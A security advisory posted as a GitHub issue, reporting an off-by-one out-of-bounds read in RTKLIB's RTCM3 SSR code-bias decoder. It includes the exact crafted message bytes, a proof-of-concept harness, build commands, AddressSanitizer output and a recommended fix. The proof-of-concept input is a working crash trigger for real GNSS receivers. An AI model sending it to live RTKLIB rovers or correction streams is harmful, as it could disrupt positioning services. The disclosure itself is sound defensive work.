Skip to content

Global-Buffer-Overflow in RTKLIB decode_ssr3 (SSR Code-Bias) via RTCM3 Off-By-One #798

Description

@raefko

Author(s): Nabih Benazzouz - @raefko
Date: 2026-06-09

Executive Summary

@FuzzingLabs identified an off-by-one out-of-bounds read in RTKLIB's RTCM3 State-Space-Representation (SSR) code-bias decoder decode_ssr3. For each signal it reads a 5-bit mode from the wire and looks it up in a per-constellation code table with the guard if (mode <= ncode). Because ncode is the exact element count of the codes_*[] table, mode == ncode passes the guard and reads codes[ncode]

  • one element past the end of the table. The fetched value then indexes the local cbias[] array.

FuzzingLabs confirmed the defect with a crafted RTCM3 SSR message under AddressSanitizer (Apple clang): AddressSanitizer: global-buffer-overflow in decode_ssr3 at rtcm3.c:1447. ASAN locates the address as "0 bytes after global variable 'codes_glo' ... of size 16" - i.e. mode == ncode == 4 reads codes_glo[4], one int past the 4-element GLONASS code table.

RTCM3 SSR streams are attacker-controlled correction data delivered over NTRIP/serial; an attacker can always compute a valid CRC, so the decoders behind it are reachable in the field. This message type is processed by any RTKLIB-based rover/CORS consuming SSR corrections.


Vulnerability Details

  • Severity: Medium (Out-of-bounds READ of a global table, reachable from RTCM3 SSR correction streams over NTRIP/serial. The read value then indexes cbias[], so a bad table value could push that index out of range as a secondary effect; the directly-observed defect is a 4-byte global over-read.)
  • Affected Component: decode_ssr3() - src/rtcm3.c:1447 (cbias[codes[mode]-1]=(float)bias;), guarded by if (mode<=ncode) at rtcm3.c:1446. Affects all SSR code-bias message types (GPS 1059, GLONASS 1065, Galileo 1242, QZSS 1248, BeiDou 1254, SBAS 1260).

Environment


Steps to Reproduce

  1. Clone and pin:
    git clone https://github.com/tomojitakasu/RTKLIB && cd RTKLIB
    git checkout 71db0ffa0d9735697c6adfd06fdf766d0e5ce807
  2. Save poc.c (below) and write the exact RTCM3 SSR message to msg.rtcm3:
    python3 -c "open('msg.rtcm3','wb').write(bytes.fromhex('d30039429e9b9b9b80bcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcc1ff2200001ec07f424543000000133e00ed5f4b'))"
  3. Build under ASAN and run:
    clang -fsanitize=address,undefined -g -DENAGLO -DENAGAL -DENAQZS -DENACMP -DENAIRN \
      -D_DARWIN_C_SOURCE -I src src/*.c src/rcv/*.c poc.c -lm -o poc
    ./poc msg.rtcm3

Proof of Concept

The exact attacker input is one RTCM3 SSR code-bias message (full wire bytes, valid CRC-24Q) whose per-signal mode field equals ncode for its constellation:

D3 00 39 42 9E 9B 9B 9B 80 BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC
BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC C1 FF 22 00 00 1E C0 7F 42 45 43
00 00 00 13 3E 00 ED 5F 4B

poc.c (complete, self-contained - feeds the message to the decoder):

#include <stdio.h>
#include <stdlib.h>
#include "rtklib.h"
int  showmsg(char *fmt, ...) { (void)fmt; return 0; }
void settime(gtime_t t)      { (void)t; }
void settspan(gtime_t a, gtime_t b) { (void)a; (void)b; }
int main(int argc, char **argv) {
  if (argc < 2) return 1;
  FILE *f = fopen(argv[1], "rb"); if (!f) return 1;
  rtcm_t rtcm; if (init_rtcm(&rtcm) <= 0) return 1;
  int c;
  while ((c = fgetc(f)) != EOF) input_rtcm3(&rtcm, (unsigned char)c);
  fclose(f); free_rtcm(&rtcm);
  return 0;
}

Root Cause Analysis

decode_ssr3 (src/rtcm3.c) selects a per-constellation code table and its length ncode, then loops over the wire-supplied biases:

case SYS_GLO: np=5; offp=  0; codes=codes_glo; ncode= 4; break;   /* codes_glo has 4 elements */
...
for (k=0;k<nbias&&i+19<=rtcm->len*8;k++) {
    mode=getbitu(rtcm->buff,i, 5);      i+= 5;      /* mode is 5 bits: 0..31, attacker-controlled */
    bias=getbits(rtcm->buff,i,14)*0.01; i+=14;
    if (mode<=ncode) {                              // rtcm3.c:1446  <-- should be mode < ncode
        cbias[codes[mode]-1]=(float)bias;           // rtcm3.c:1447  <-- codes[ncode] is 1 past the table
    }
}

ncode is the count of elements in codes (4 for GLONASS, 17 GPS, 19 Galileo, 13 QZSS, 9 BeiDou, 4 SBAS - all exact). The valid indices are 0 .. ncode-1, so the guard must be mode < ncode. With mode <= ncode, the value mode == ncode is accepted and codes[ncode] reads one element past the table. The over-read value then participates in codes[mode]-1 as an index into cbias[MAXCODE].


Detailed Behavior

A single RTCM3 SSR code-bias message (e.g. GLONASS type 1065) whose mode field equals the constellation's code count makes decode_ssr3 read one entry past the corresponding codes_*[] global table. Reachable from an NTRIP/serial correction stream. Effect: out-of-bounds global read → potential crash/DoS in any RTKLIB rover/CORS that ingests SSR corrections, and an attacker-influenced table value flowing into the cbias[] index.

./poc msg.rtcm3
==1735==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000100959ff0 ...
READ of size 4
    #0 0x000100701290 in decode_ssr3 rtcm3.c:1447
    #1 0x0001006ecd0c in decode_rtcm3 rtcm3.c:2136
    #2 0x000100604a48 in main poc.c:14
    #3 0x000188203dfc in start+0x1b4c (dyld:arm64e+0x1fdfc)
0x000100959ff0 is located 0 bytes after global variable 'codes_glo' (size 16)
0x000100959ff0 is located 16 bytes before global variable 'codes_gal' (size 76)
SUMMARY: AddressSanitizer: global-buffer-overflow rtcm3.c:1447 in decode_ssr3

Recommendations

  1. Fix the off-by-one. Change the guard at rtcm3.c:1446 from if (mode <= ncode) to if (mode < ncode). Check the same pattern in the other SSR code-bias decoders.
  2. Defend the secondary index. After looking up codes[mode], validate codes[mode]-1 is within [0, MAXCODE) before writing cbias[...].

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions